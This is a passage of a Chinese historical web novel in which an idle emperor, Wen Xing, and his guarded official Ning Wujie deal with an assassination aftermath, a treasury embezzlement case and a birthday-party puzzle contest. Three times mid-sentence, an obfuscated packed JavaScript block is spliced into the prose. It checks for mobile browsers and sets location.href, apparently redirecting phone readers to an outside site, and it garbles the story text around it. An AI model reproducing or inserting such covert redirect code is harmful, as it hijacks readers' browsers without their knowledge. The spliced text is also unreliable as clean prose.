既然星河对付的那路人马被消灭了,那昨夜袭击他的就是另外一路,或是幕后黑手做了两手准备,就是不给他任何逃生的机会。 宁无劫远远看着闻幸抱着孩子的脑袋搓扁揉圆,笑得灿烂,他的目光陡然变冷。 这昏君何时对旁人这样笑过? 对他总是颐指气使,或是出言下流,从未这样温和。 想到这里,他看向星河的目光都带着些自己也未察觉的不善。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076641|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>星河被揉得发丝凌乱,双髻歪掉一个,连忙一个弯腰从闻幸臂弯里钻出来,兔子似地蹦开了,躲得老远。 “主子,我发髻都掉了!” 闻幸笑得双肩发颤,随后像是注意到宁无劫的目光,扭头望了过来。 宁无劫措不及防与他视线相撞。 他看见闻幸冲他笑了一下。 不知是不是错觉,他竟觉得那笑像照在初雪上的暖阳,润物细无声地化去坚冰。 他沉默着别开脸,走到侍卫那边去牵马。 也不知那昏君会不会骑马,若是不会,还得同乘。 得挑匹温和些的。 却听星河吹了个响亮的口哨,一匹黑马哒哒哒地自行跑了过去。 “主子,坐我的乌云驹!”星河一个翻身上马道。 闻幸正欲去拉星河的手,却见宁无劫一人骑了匹白马从他跟前旁若无人地走过。 分明少年是面无表情的,但闻幸就是觉得某人很不高兴。 他清了清嗓子,“宁无劫。” 少年的白马停住了。 马上的人回头看他,“陛下何事?” 闻幸歪头,“侍君之道你忘了?朕都没上马,你就敢跑?” 宁无劫垂睫敛去眸光,沉默片刻后,策马后退几步来到闻幸面前,翻身下马。 见他没有继续动作,闻幸不满地一扬下巴,“这么高,朕怎么上去?” 他可不会骑马。 星河兴冲冲过来,扎了个马步双手交叠在前,“主子踩我。” 然而话音未落,闻幸便觉腰间一个力道将他托起,凌空一跃就轻飘飘落在了马背上。 须臾,他又觉身后一沉。一双手从他腰间绕过来,牵起缰绳。 一道他从前从未注意过的,少年独有的气息从身后笼罩过来。 那气息极其淡,非如此近的距离察觉不到。 他说不上来那是什么味道,总之让他无端想到静谧而浩渺的松林雪岭,让人内心瞬间安静下来。 耳边传来宁无劫有些低沉的声音:“陛下坐稳了。” “喝——!” 马匹应声而动。 闻幸忽觉颠簸,可身体刚刚摇晃了一下,又被一只胳膊搂住了腰,稳住身形。 少年的躯体带着朝阳般的温暖,灼热吐息喷洒在他耳际,闻幸察觉自己耳根似乎有点烫。 他不由坐直了身体,拉开一些距离试图逃离那个滚烫的热源。 “宁无劫,谁让你与朕同乘了?” 宁无劫在他身后,他看不见表情,只听见少年的声音似乎比往常少了些舒朗,多了些阴沉:“陛下会骑马吗?” 闻幸:...... 他还真不会。 “朕可以让星河带朕。” 话音刚落,马匹却忽地跑了起来,树林里道路崎岖不平,马儿跑得异常颠簸,颠得他持身不稳,不由自主向后倒去,整个人重重落进宁无劫的怀里。 他控制不住身体,只得高声:“你慢点!” 宁无劫不应,只策马跑得飞快。 “宁无劫!” 宁无劫终于有了反应:“陛下刚刚遭遇刺杀,外面不安全,还是早些回宫为妙。”少年的声音带着高速策马时的喘息,悉数卷进了风声里。 闻幸:...... 这小子总有一万个理由噎他! 不过他确实怕死,主要是怕濒死时又犯心绞痛。 那实在是太痛苦了。 闻幸被颠得死死抓着马鞍,浑身无处使劲,只能依赖身后人的躯体稳住自己。 他高度怀疑这小子是故意的。 就是为了报复他今日所谓“侍君之道”吧? 呵呵,等着。 他一定会报复回来的。 看着二人迅速远去的背影,星河不解地挠挠后脑勺,“咦?主子从前最喜欢坐我的马了。” 他歪歪脑袋看着眼前黑得发亮的马匹。 不喜欢吗? 又看一眼远去的跑没影的白马。 下次他也换一匹白色的。 他点点头,拳落掌心,就这么定了! 13.第 13 章 闻幸回到宫里已经累得没工夫与宁无劫计较骑马的事,只快速地洗漱完换了身干净衣裳,然后就懒懒地迎面栽倒进床榻柔软的被褥里。 他脑袋埋在枕头里,舒服地喟叹一声。 在破庙里睡了一夜,他骨头都快散架了,还是宫里的软垫舒服啊。 御医赶来给他搭脉,他也不动,还是老太监上前扒拉了他一下,助他翻身。 他就像块砧板上的肉,被人掀了个面。 御医给他搭脉时,他才稍微抬了抬眼睑,余光却瞥见已经换了一身干净衣裳,却仍守在一旁的宁无劫。 咦? 按这卷王的脾气,不应该马不停蹄就去办差了吗? 平时对他避之唯恐不及,怎么今日竟然还寸步不离了? 御医搭了脉,垂首道:“陛下无大碍,就是有些劳累,多休息便好。” 闻幸冲宁无劫的方向一扬下巴,“翟卿给宁无劫看看伤。” 宁无劫抬眼,这昏君在关心他的伤? 不过回想起来,昨夜昏君就盯着他的伤看,今晨又过问他伤势如何。 是因为爱重他? 呵,既然如此,又为何去逛勾栏? 怕不是见色眼开吧。 但他还是转过身去,褪去半边衣袖。 染血的绷带缠绕在右臂上,红得格外刺眼。 少年只褪去半边衣袖,紧实而匀称的肩臂线条展露无遗,半片蝴蝶骨清晰可见,微微起伏的背肌线条一路向下,隐没在尚未褪去的衣衫内。 他背着光,宽肩窄腰的背脊轮廓如一张拉满的弓,年轻的躯体蓄满了随时爆发的力量。 躺靠在床榻上的闻幸欣赏着这一幕,由衷赞叹:什么叫穿衣显瘦脱衣有肉啊。 翟元青小心翼翼地用术刀划开绷带,露出里头的伤口观察,随后点点头,“伤口不深,但为了避免留疤,还是要缝合好。” 他说完回头去看闻幸,“臣带宁大人换个地方施术。” 却见闻幸勾唇,“就在这缝。” 他还没看够呢。 闻幸冲窗边的软塌一扬下巴,“坐下。” 宁无劫侧过脸,似乎是犹豫了一下,但还是转过身来,依言坐下了。 翟元青取了药酒与针线,给宁无劫消毒后道:“会有些疼,烦宁大人忍一忍。” 宁无劫目不旁视,“翟太医请便。” 针线穿过皮肉,扎出点点猩红血迹。 嘶...... 闻幸觉得好疼。 他上辈子玩枪被滑套割伤过,缝了七针,因为麻药提前失效,疼得他死去活来。 这小子缝几十针为什么能面无表情的? 然后闻幸就看见宁无劫的眉心微微皱了一下。 倒也不全是面无表情。 他噙着笑,试图分散宁无劫的注意力:“宁卿今日公务不忙了?” “忙。”宁无劫看一眼胳臂上被长针挑起的皮肉,又平淡地移开视线。 闻幸观察宁无劫眉心的褶皱,故意挑衅道:“那你怎么一直守在朕这里?难道宁卿对朕......” 他说时走过去,玩味般捏起少年的下巴尖,“对朕也情、根、深、种了?” 少年被迫仰头,一双黑沉的眼睛与闻幸对视。 闻幸看见在他说出这话后,对方英气的眉宇缓缓地拧了起来,目光里满是抗拒。 然而一双耳尖却爬上了一层粉。 真是屡试不爽。 闻幸想。 宁无劫的视线毫不避讳地盯着他,“陛下刚刚遭遇刺杀,难道就一点都不后怕吗?” 闻幸一怔。 便见宁无劫微一甩头,将他作乱的指尖甩开,道:“臣看陛下寝殿戒备与往常并无不同,星河在干什么?” 闻幸恍然。 这犟种是怕有人会在他宫里下手,所以一直守着他吗? 被点了名的星河一个翻身从房梁上跳下来,不服气地辩解:“我这不是还没来得及布置......” “侍卫呢?禁卫军呢?” 宁无劫质问:“这寝殿除了你就没别人可以布置了吗?” 星河一噎。 见孩子哑然,宁无劫冷声:“臣看陛下寝殿戒备松懈,想是侍卫们不得力,不若换臣的人来吧。” 闻幸讶异:“你的人不是还要查案吗?” 宁无劫:“目前还不知下手的人是谁,对方一击不成必有第二次。若是此人有法子在宫内下手,那交给禁卫军也未必安全。况且监察司本就有护卫陛下之责......”他说时顿了顿,似是在做着某种激烈的心理斗争。 良久才似自我妥协般道:“臣所居御书房离陛下寝殿不远,若有情况,臣也能及时照看。” 因为平日公务过于繁忙,又时不时被这昏君召唤,宁无劫早就索性住在了御书房了。 星河噘着嘴,“主子!我可以的,用不着他!” 宁无劫冷声:“陛下安危岂容你逞一时之快。” “况且,我听说你时常偷跑出宫,十天半个月才回来。身为监察司指挥使,我岂能将陛下的安危交由你这样吊儿郎当的护卫。” “你!”星河气得拳头攥起,一个飞身过去便是一拳落下。 宁无劫坐着纹丝不动,单掌接下这一拳,又翻掌一推,掌风带着气劲,将星河震退数步。 星河后脚一蹬狠狠站定,挥了拳头又要再度上前,却被闻幸喝止:“星河!” 星河的拳头停在半空,气鼓鼓地扭头,便被闻幸曲指弹了一个脑瓜崩。 “又擅自出手。” 星河噘嘴,气得胸腔起伏,最终指着宁无劫愤愤道:“我看你受伤了,今日不跟你打,改日......你等着!” 他说完便个翻身跳上房梁,抱臂气鼓鼓地坐在梁上,恶狠狠盯着宁无劫,好似在用目光发出诅咒。 看得闻幸想笑。 此时翟元青收了针,“好了,宁大人。” 宁无劫微怔,方才被闻幸挑起话头,注意力被分散,完全没注意到伤口已经缝好了。 他看一眼臂膀,已经被上了药,连绷带都包好了。 他微微颔首:“谢翟太医。” 翟元青礼貌地施礼告退。 宁无劫起身,一面穿衣一面对闻幸道:“安全起见,臣这便安排监察司接手陛下的安防,也请陛下近日不要再随意出宫了。” 闻幸眯了眯眼,故意打趣道:“所以宁卿这是不放心朕的安危,要亲自护卫朕?” “朕好感动。” 感动二字还着重强调了一下。 宁无劫看着昏君那露骨的眼神,仿佛要用目光将他生吞活剥一般,烫得他匆忙移开视线,木着脸道:“陛下不必介怀,臣不过是履行臣子之责罢了。” “先行告退。”话落,少年便消失了。 闻幸看着宁无劫匆匆离去的背影,勾唇一笑。 半个时辰后,十几名影卫悄然遍布寝殿各个隐秘的角落。 ...... ...... 刺杀案一时没有头绪,宁无劫又一头扎进国库侵吞大案中,忙得不可开交,于是便将调查幕后黑手的事交给属下跟进。 短短十数日间。 朝野上下哀嚎一片,户部及内务府首当其冲,被拿进诏狱的官员不知凡几,而其余各部亦不少官员涉案被捕。 宁无劫看着以一个仙人卧的姿势倚靠榻上,单手支着太阳穴闭目养神的皇帝,垂眸道:“户部掌管国库库银帐面上一千三百五十一万两白银,臣命人查验了所有的银锭,除去铅芯锭,只余二百七十三万两。” 青年帝王垂着的纤长眼睑缓缓抬起,半片蓝灰色的眸子敛在眼皮下。 “还有吗?” 宁无劫继续道:“内库稍好些,丢失的多是永光二十三年之前入库的古董宝物等,部分缴回。” “另外,工部节慎库,礼部丙字库等都有以次充好,或倒卖物资的现象。” 说到这里宁无劫顿了顿,目露一丝犹疑道:“倒是兵部问题最小,仅查出广积库部分军用物资欠维护,倒是寻常事。” 闻幸亦挑了一下眉。 案子是从兵部积压的军需案牵扯出来的,到头来,兵部倒成了最干净的衙门了。 “所以,邵建安做的事真的与兵部无关?” 宁无劫垂眸,“户部侍郎在狱中亲口承认,是他从御药房主官那里换来了虎骨贿赂邵建安,为的就是拖延国库用银,以免暴露国库空虚的事实。” “因各部均有监守自盗之事,于是相互之间常打掩护,甚至交换财物方便行事,唯独兵部未与他们同流合污,只得贿赂主事官员。” 闻幸恍然。 的确,如果徐重云要这么做,根本不需要贿赂自己的属下。 听到这里闻幸发现个漏洞,“这么大的案子,怎么没听你提到户部尚书?” 按理来说,户部的亏空最大,尚书应该是首当其冲才对,怎么只听见侍郎的供词? 宁无劫:“在监察使去拿他的时候,他在家中自缢了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087419|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>闻幸:“所以,尚书背后还有人。” 他不太相信能做到这个位置的人会因为心理承受能力差而畏罪自杀,只有一种可能,那就是被背后的人拿住了把柄,或是杀人灭口。 宁无劫:“臣去查抄幻海楼时,其楼主事先接到风声已经销声匿迹,既然敢拍卖内库财宝,背后应有朝中势力支持,臣可以沿着这条线索继续查下去。” 闻幸颔首。 宁无劫说到这里,忽然一提衣摆单膝下跪,“六部官员沆瀣一气,贪墨国帑不计其数。臣请查抄涉事官员家产,罚没银钱填补国库,以拨款军需及赈灾饷银。” 宁远军军需,以及淮南水灾赈饷都是急用钱的地方,至少先匀出钱来,把这两件要紧的事办了。宁无劫想。 只是这昏君向来贪图享乐,会不会准他动这些银子? 若是不准...... 他正思索该如何劝谏,便听见那昏君懒懒道:“准了。” 宁无劫一怔。 “以后这些事你拿主意就好,不用问过朕的意思。” 宁无劫瞳孔一缩,抬眼看向闻幸。 大笔库银就这么随他拿主意? 就不怕他与那些贪墨者是一路货色吗? 昏君爱重一个人,就能放任到这种地步?! 闻幸今日份听汇报的精力用光了,恹恹地揉着太阳穴道:“朕听得头疼,过来,给朕揉揉。” 宁无劫拧眉,扭头去看候在一旁的李德全。 老太监把脑袋快要埋进肚子里了,还悄悄后退两步降低自己的存在感。 见人没反应,闻幸抬眼睨向宁无劫,“怎么不动?” 宁无劫面无表情,“臣不会,还是请李公公来吧。” “没做过可以学嘛,你的侍君之道还有很多要学。”闻幸眯着眼,心头冷笑,管你是真不会还是假不会。 上回策马的事他可记着呢。 这么久没提不过是体恤宁无劫查案太忙,现在案子查得差不多,军需也解决了,他还不赶紧从这人身上找补回来。 他冲老太监一扬下巴,“让李德全来教你。” 佯装不存在的李德全立马堆起个笑脸走过来,坐到了闻幸身后的矮凳上,双手各伸出两指放在闻幸的太阳穴上,轻轻按揉。 “宁大人请看,就像这样按,一定要轻。” 宁无劫看着老太监翘起的兰花指,眉心抽跳了一下。 他撇开视线,木着脸道:“臣是习武之人,手劲大,恐伤着陛下。” 闻幸冷声:“宁无劫,你又要抗旨?” 宁无劫的眉宇拧得更紧了。 “你就不怕朕把你兄......” 话音未落,宁无劫便提步上前,气冲冲地替了李德全的位置,以动作打断他的话。 闻幸唇线勾起。 把后头威胁对方的话又收了回去。 宁无劫沉沉闭眼,心头告诉自己为了保护兄长,他得忍。 做好了心理建设后,他才并着食中二指僵硬地按在了闻幸的太阳穴上,缓慢地开始按揉。 可是他才刚一动作,便听闻幸发出一声“嘶”。 “轻点。” 宁无劫觉得自己已经很轻了,根本没用力。 这昏君会不会太娇气了点。 却见昏君向后一靠,软软地倒进他肩头。 他的思绪戛然而止。 只听那昏君不耐道:“你按轻点,朕要睡了,睡着前你不准停,也不准弄疼朕。” 宁无劫浑身一僵,不敢动了。 重重软垫支着闻幸的腰,半截微凉又纤薄的后肩靠在了他的身上,乌黑的发丝不断往他脖颈上蹭,蹭得他心尖发痒。 他垂下眼,就能看见昏君纤长又乌黑浓丽的眉峰,没入乌黑的鬓发。 那双眼睑很长,合上时像画师笔下能勾勒出的最优美的弧线。 看见怀里的人皱起眉无声地催促,他连忙轻而又轻地开始按揉。 这一次,他没有弄疼昏君。 不知过去多久,他听见均匀的呼吸声。 察觉到闻幸已经睡熟,宁无劫停下动作,却也不敢离开,只任由闻幸靠在自己的肩头,那股龙涎香无孔不入地钻入他的呼吸间。 他眸色晦暗,深潭般的眸子此刻没了星光,只有深不见底的漆黑。 他捏起指尖,试图将那挥之不去的,滑腻肌肤带来的异样触感掐灭。 深夜的福宁殿内。 烛影摇曳,将少年怀抱着人的身影拓印在窗纸上,凝固成画。 14.第 14 章 福宁殿。 李德全点头哈腰,求爷爷告奶奶地给闻幸作揖,“老奴求求陛下了,今日是太后的生辰宴,您得去啊。” 闻幸缩在被窝里,整个人都是恹恹的。 “冷,不去。” 已经过了寒露,天气骤然变冷。 院子里的秋海棠已经谢了个七零八落。 闻幸身子薄,夏天怕热冬天怕冷。这秋寒刚起,他骨头里的寒气儿便已比常人更胜几分 天暖时他便有大半时日赖在床上,如今寒意一起,更似一张被米浆糊牢了的窗户纸,轻易撕不下来,只不过他糊牢的,是床框而非窗框。 李德全很为难,“太后说了,近日发生了国库大案,为着节省用度,此次寿辰不大操大办,只摆个简单的家宴便好。来的都是皇室宗亲,不讲那些虚礼排场。” 闻幸还是纹丝不动。 李德全急得挠头,搜肠刮肚地想,忽地眼中一亮,“对了,奴才听说太后此番特意不办寻常宴席,说是图个‘君臣同乐’,安排了游戏。还说若是拔得头筹,还有彩头呢。” 听见游戏两个字,闻幸的耳根动了一下。 见他还是没有要起的意思,老太监急了。 怎么办? 太后的生辰宴都不去,传出去陛下仁孝的名声可就全完了。 自古皇家以孝治天下。若是连九五之尊都失了孝道,天下万民将何以看待皇权?又何以信服? 是以历朝历代,除却失道寡助的暴虐昏君外,鲜有帝王敢公然忤逆太后。 看来......李德全想了想,叹了一声,看来还得求小美人来帮忙啊。 他正打算出去找救星,却听星河道:“游戏!什么游戏?” 李德全像是抓住了救命稻草,连忙解释:“说是在永寿宫花园里安排了关卡,赢了有恩赏,具体的,老奴也不太清楚。” 星河跃跃欲试,“我也可以玩吗?” 李德全笑道:“应是可以吧。” 星河扭头看闻幸,目光亮亮的,“主子!咱们去吧!” 自从上次跟宁无劫赌气,他就再没离开过闻幸身边,每天守着皇帝,就是要证明自己绝对不吊儿郎当。 结果一守就在宫里守了大半个月,快把他闷得头上长蘑菇了。 就见床上的帝王长长地吐出一口气,像是把连日的无聊都吐出去似的。 然后被褥里的人蛄蛹了一下,翻了个身,“李德全。” 李德全欣喜地连连应声,“陛下,起了吗?” “嗯。” 安静的寝殿内立刻活络了起来。 * 永寿宫后花园。 园中摆了曲水流觞,宗亲们围水而坐,首座上太后头戴凤冠,雍容闲雅,却是凤眉蹙紧。 “陛下呢?”王弗唯压着愠怒问身侧侍从。 侍从怯怯道:“已经催过多次了,说是还没起。”她的尾音都压得快要消失了。 王弗唯闻言,目光一冷。 见高座上太后身侧的位置始终空缺,亲贵们面面相觑,窃窃私语。 “陛下该不会连太后的寿宴也不露面吧?” “听说陛下宠幸的那位美人才在前朝拿下了几十位官员,该不会是忙着这件事?” “那岂非不少位置都空出来了?我得赶紧想想办法,送几个进吏部。” “想什么呢?眼下官员任免都得过了宁家那个的眼,你想塞人,哪那么容易?” 一名亲贵叹了一声,摇摇头:“今非昔比,不比从前的好日子了。” “你们都是目光短浅,盯着六部那几个位置有什么用?” “要塞,也得塞进陛下眼里啊。” 有人心头嘀咕,可是陛下好男色,哪个好人家愿意把自己培养的好男儿往龙床上送呢? 更有人目光闪烁,似是已经成竹在胸。 议论间,众人听得一声“陛下驾到!” 人们齐齐望去,便见十六人抬的步撵刚刚落下。 青年帝王照例不着冕服,只束了一只镂织金丝嵌玉冠,肩上披着件竹月色狐领斗篷,白色的狐毛在秋意的微风中徐徐而动,衬得那优越的面部轮廓更柔和三分,眉目如画。 亲贵们齐齐下跪迎接帝王莅临。 王弗唯的脸上终于有了笑意,“怀玉啊,今日政务有这么繁忙?怎得姗姗来迟。” 闻幸心说他在睡觉,哪有忙。 但他猜到太后应该是想找回些面子,推脱他的来迟是因为公务而非怠慢她这个母后,于是便也懒得反驳,只模棱两可地“唔”了一声。 宴会在皇帝落座后开席。 说是家宴,便也没有太多繁复礼节,王弗唯坐在皇帝身侧,语带关心地道:“听说怀玉之前在宫外遭遇刺杀,怎得这么大的事情也瞒着母后?” 闻幸正提着筷子,听见这句顿了顿。 他是故意将刺杀之事瞒下的,缘由别无其他,就是想少点麻烦。 听说皇帝被刺杀,阖宫上下少不了鸡飞狗跳个一段时间,特别是太后与一些宗亲老臣必然是要来嘘寒问暖一番以表诚意。 他喜欢清净,讨厌福宁殿天天来人。 不过这么大的事情早晚瞒不住,只是没想到太后这么快就知道了。 “怀玉,没受伤吧?” 太后委实是一幅关切的模样,闻幸瞧不出什么,只摇摇头,“无碍,一伙山贼而已。” 王弗唯做惊愕状:“京畿之地,也会有山贼?那些三大营的驻军都是干什么吃的?怎么样,剿灭了吗?” 闻幸看她一眼,淡道:“已经剿灭了。” 王弗唯放下心来,“以后还是少出宫为好,可又是那星河撩拨的你?” 正抱臂隐藏在高高树枝上的星河听见这句,不满地撅起嘴。 太后语重心长,以一个长者的姿态道:“陛下应该知道自己身份贵重,还是少跟这种不知尊卑的奴才......” “母后。”闻幸厉声打断。 他将筷子放下,一双凌厉目光就扫了过去,“朕身边的人,就不劳母后费心了。” 王弗唯接到那束目光,脸色虽不变,但尖锐的护甲就掐进了衣袖里,将那袖口都掐皱了。 自从闻幸大病一场后,对她的态度就像是变了个人,从前对她毕恭毕敬,言听计从,如今不仅连面都见不到,即便见到了也是敷衍了事,更甚者竟会与她争执一番。 渐渐失去掌控的不安感在她的心底愈烧愈旺。 但她还是压下心头那团怒火,摆出一副和颜悦色的慈母做派,轻声道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092330|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“是母后管得宽了。” “不是说有节目么?”闻幸对闲聊没兴趣,直奔主题道。 听见这句,王弗唯眼里起了点笑意。 “是,已经安排好了,就等怀玉你来呢。” 闻幸顺着王弗唯所指的方位看去,便见曲水流觞的下游,假山拱桥鳞次栉比,水榭连廊穿插其间。 太后宣布规则:“那水榭里有六座关卡,里头各有一名出题人,只要过关,便可从出题人手里得到筹码,只要集齐四枚,便可从本宫手里讨个恩赏。” 恩赏闻幸没兴趣,他就纯想看看那些关卡里有什么。 毕竟宫里的日子实在是太无聊了。 这现成的闯关游戏他高低得玩一玩。 闻幸自顾起身走了过去。 见皇帝起身,一众亲贵也都成群结对地跟上。 第一间房门大开,里头站着一名身着青衫眉目舒朗的清俊公子。 见闻幸驻足,他忙上前一步,躬身长揖,“微臣忠素侯嫡次子,晋子瑜,叩见陛下。” 话音未落,闻幸身后便有一位宗亲热络地挤上前来:“陛下,此乃犬子,论起辈分,他该唤您一声表兄才是。” 忠素侯不等闻幸应声,便如数家珍般絮叨起来:“犬子方及弱冠,仪表堂堂,在学子监也是......” 闻幸微微蹙眉,对攀亲戚毫无兴趣,径直问那晋子瑜道:“你的题是什么?” 原本晋子瑜正等着父亲将那些溢美之词全盘倒出,骤然被这么一打岔,明显怔忡了一瞬。他局促地觑了一下闻幸的神色,才忙侧身让开道路,耳根微红,声音也低了几分:“请......请陛下入内一观。” 闻幸回头冲一群皇亲国戚,“你们不参与?” 所有人都是连连摇头,纷纷摆手,“不不不,陛下请。” 闻幸不解,这太后的恩赏这么没有吸引力吗? 他没做深想,抬脚迈入房中。 星河一个飞身跟了进去,“主子!什么题,我也看看!” * 宁无劫刚从诏狱回来,将沾染了一身血腥气的曳撒褪去,至浴房洗漱干净换了身常服,才到福宁殿给闻幸汇报近日办案的进展。 却见李德全迎门出来,和蔼地道:“陛下去参加太后的生辰宴了,一时半会应是回不来,还请宁大人先回吧。” 宁无劫“哦”了一声,脚尖一歪就要走,却又顿住了,不放心地道:“陛下带了几个人?” 他说时扫一眼庭院,很快便察觉到了他留下的影卫。 人都在。 他缓缓蹙起眉。 老太监笑道:“就带了星河。” “那毕竟是太后宫里,带太多侍卫总是不好。” 不知道的还以为皇帝放心不下自己母亲,要带一堆侍卫去防着呢。 似乎是看出他的疑虑,李德全又道:“宁大人放心,永寿宫的戒备不比咱们这差,再说不是还有星河么,不会有事的。” 宁无劫思忖一会,喊了声:“岁星。” 影卫应声出现,单膝跪在宁无劫跟前,“大人。” 宁无劫垂眼看着影卫一身的黑色劲装,薄唇吐出三个字:“脱衣衫。” 影卫抬头:? 李德全一脸懵:??? 15.第 15 章 永寿宫水榭内。 晋子瑜颇为腼腆地坐在案几后,案几上放着一个匣子,“题在里面,陛下有一炷香的功夫解题。” “若是解题成功,臣......”他从怀中掏出一块圆形玉佩,推至闻幸面前,“臣的筹码便是陛下的。” 闻幸讶异。 筹码竟然是玉佩? 这会不会有点奇怪? 可他不需要太后的封赏,故而也就对筹码毫无兴趣。未作深想。 晋子瑜见皇帝看都不看玉佩一眼,不由有些失望。 但是没关系,听说陛下喜欢聪明人。 一会陛下解不出题来,他再给些提示,一定能让陛下对他印象深刻。 毕竟这题可是他从钦天监的古籍里找到的,陛下一定没见过。 只见帝王伸出白净纤长的食指,十分随意地挑开匣子,见里面放着一卷纸。 跟在一旁的星河兴冲冲地凑过去,“什么呀?主子让我看看。” 闻幸扫一眼那纸张,眉梢一扬。 纸上画着九宫格。 应该说是嵌套型九宫格,大的九宫格内每一格都有个小九宫。 星河不解,拿过题纸放在眼前左看右看,近看远看,“这到底是干嘛的?” 此时,水榭屋顶无声地落下一道黑色的人影,悄然掀开了一片屋瓦,黑衣人视线越过空档,将房内一切尽收眼底。 晋子瑜解释:“陛下需在格内填上数字,使其每一格九宫内行、列、对角之和均为十五,而大九宫每行、列、对角之和均为四十五。” 星河挠挠后脑勺,仿佛听了天书,“什么意思?” 闻幸恍然,就是数独啊。 简单。 好久没玩数独了,闻幸权当热身了。 觑见星河满脸疑惑的表情,晋子瑜放下心来,看吧,连陛下贴身的侍卫都没见过,这题一定可以难倒陛下。 他脑海里已经开始幻想一会陛下费尽心思解不出题时的窘境,那时他再施以援手,一定能捕获陛下的...... “好了。” 晋子瑜:? 他甫一抬头,便被丢过来的题纸直接糊了一脸。 晋子瑜:...... 他飞快拿下纸张反复查看,确认题上填好的数字。 行、列...... 十五......四十五...... 晋子瑜面容一垮,全对! 刚刚发生了什么? 他好像只开了一个小差吧? 这点时间连写字都不够的吧? 陛下都不用思考的吗?! 然而还没等他反应,闻幸已经起身离开了。 水榭之上,一身玄黑影卫劲装,将一切尽收眼底的宁无劫,见到那填满的题纸,有些意外地扬了一下眉梢。 或许昏君也并非一味只知玩乐。 星河跟在闻幸身后蹦蹦跳跳,兴高采烈,“主子好厉害!我连题都没听懂!主子快跟我说说那是什么意思?星河想学。” “陛下!”晋子瑜豁然起身。 闻幸脚步顿住,回过头来以目光询问。 晋子瑜捡起那枚玉佩递过去,忐忑地道:“您的......筹码。” 没给陛下留下印象也没关系,只要陛下收下这玉佩...... “不必了,朕不需要。” 话落,青年帝王便消失在了门外。 徒留晋子瑜茫然地眨眨眼,一息后,面容如丧考妣似地垮了下来。 听见这句的宁无劫抱剑仰躺屋顶,缓缓勾起一侧唇角,极轻地笑了一声。 闻幸推门而出,众人纷纷迎了上来,“陛下,犬子在三号房有......” “陛下,吾儿善音律,还请陛下一观!” 见到这一拥而上的人群,闻幸往后一退,皱了一下眉。 难不成这些人全是冲他来的? 仔细想想,所有亲贵都不参与解题,只有他...... 又回想到方才出题人的那枚玉佩。 闻幸忽然恍然大悟。 这怕不是什么游戏,是想给他塞人吧? 眼红宁无劫? 太后还怪废心思的,设计得这么复杂。 闻幸有些好笑地想。 正在此时,他听得身后传来一个青年的声音:“臣有几道谜题尚无人能解,不知陛下可否为诸位亲贵解惑?” 闻幸回头去看,便见众人纷纷让开一条通道,露出连廊一间房门口站着的一个青年人影。 对方行止端庄地躬身行礼,“臣丹阳伯嗣子王绛,现供职翰林院编修。” 闻幸讶异挑眉,他本以为这些皇亲国戚都是群酒囊饭袋,倒没想到还有能进翰林院的。 只能说一群歹笋里也偶尔能拔出一两颗好笋吧。 听见对方夸口说“无人能解”,他倒来了兴致。 于是将这场“相亲宴”的目的抛诸脑后,声音越过两侧众人,道:“你讲。” 此时的丹阳伯见状目光发亮,正欲效仿忠素侯也来一通慷慨陈词为自家儿子的履历装裱一番,却见那王绛冲他使了个眼色,微微摇头。 丹阳伯接下眼神示意,暗道一声:好险! 陛下方才那态度摆明了讨厌自吹自擂,他差一点就要踩坑,还是他儿子聪明! 吾儿聪慧如此,定能得陛下青眼! 便听那王绛道:“臣有一题:远望巍巍塔七层,红灯点点倍加增,共灯三百八十一,试问尖头几盏灯?”注① 亲贵们听了题,都是一脸茫然。 这是什么东西? 星河兴致勃勃地听完,又茫然地“啊”了一声,这游戏也太不好玩了,根本听不懂! 原本还在房里的晋子瑜此时也挤进了人堆里,听见题目后,脑海里已经开始盘算。 嗯嗯,这题要用倒推法。 先假设第七层份数为一......然后第六层是二...... 还在思索间,便听闻幸道:“三盏。下一题。” 晋子瑜表情一僵。 ??!! 王绛措不及防听见正确答案,面色一滞,好快! 为了引起陛下的注意力,他上来就拿出了自认为有难度的,便是翰林院那些老学究也得算上一会,没想到陛下几乎连想都没想! 他定了定神,心道没关系,他还有。 于是正色道:“书生沽酒行,遇店添一倍,见花饮一斗,三顾醉花枝,两度入店堂,终醉花枝下,壶空酒尽无。问:初有酒几何?”注② 晋子瑜有点懵,但还是努力在脑海里推理,设初酒为一斗,然后遇花先饮一斗......不对不对,初设酒...... 星河一脸懵,啊?啊?他听不懂啊! 闻幸几乎没怎么思索便道:“两斗。” 晋子瑜:...... 晋子瑜麻了。 算了算了,他放弃。 陛下果然不是凡人,哪是他们这些凡夫俗子可以较量的。 场面一时变得很热闹。 “陛下果然聪慧无比!” “陛下智计无双,我等望尘莫及!” 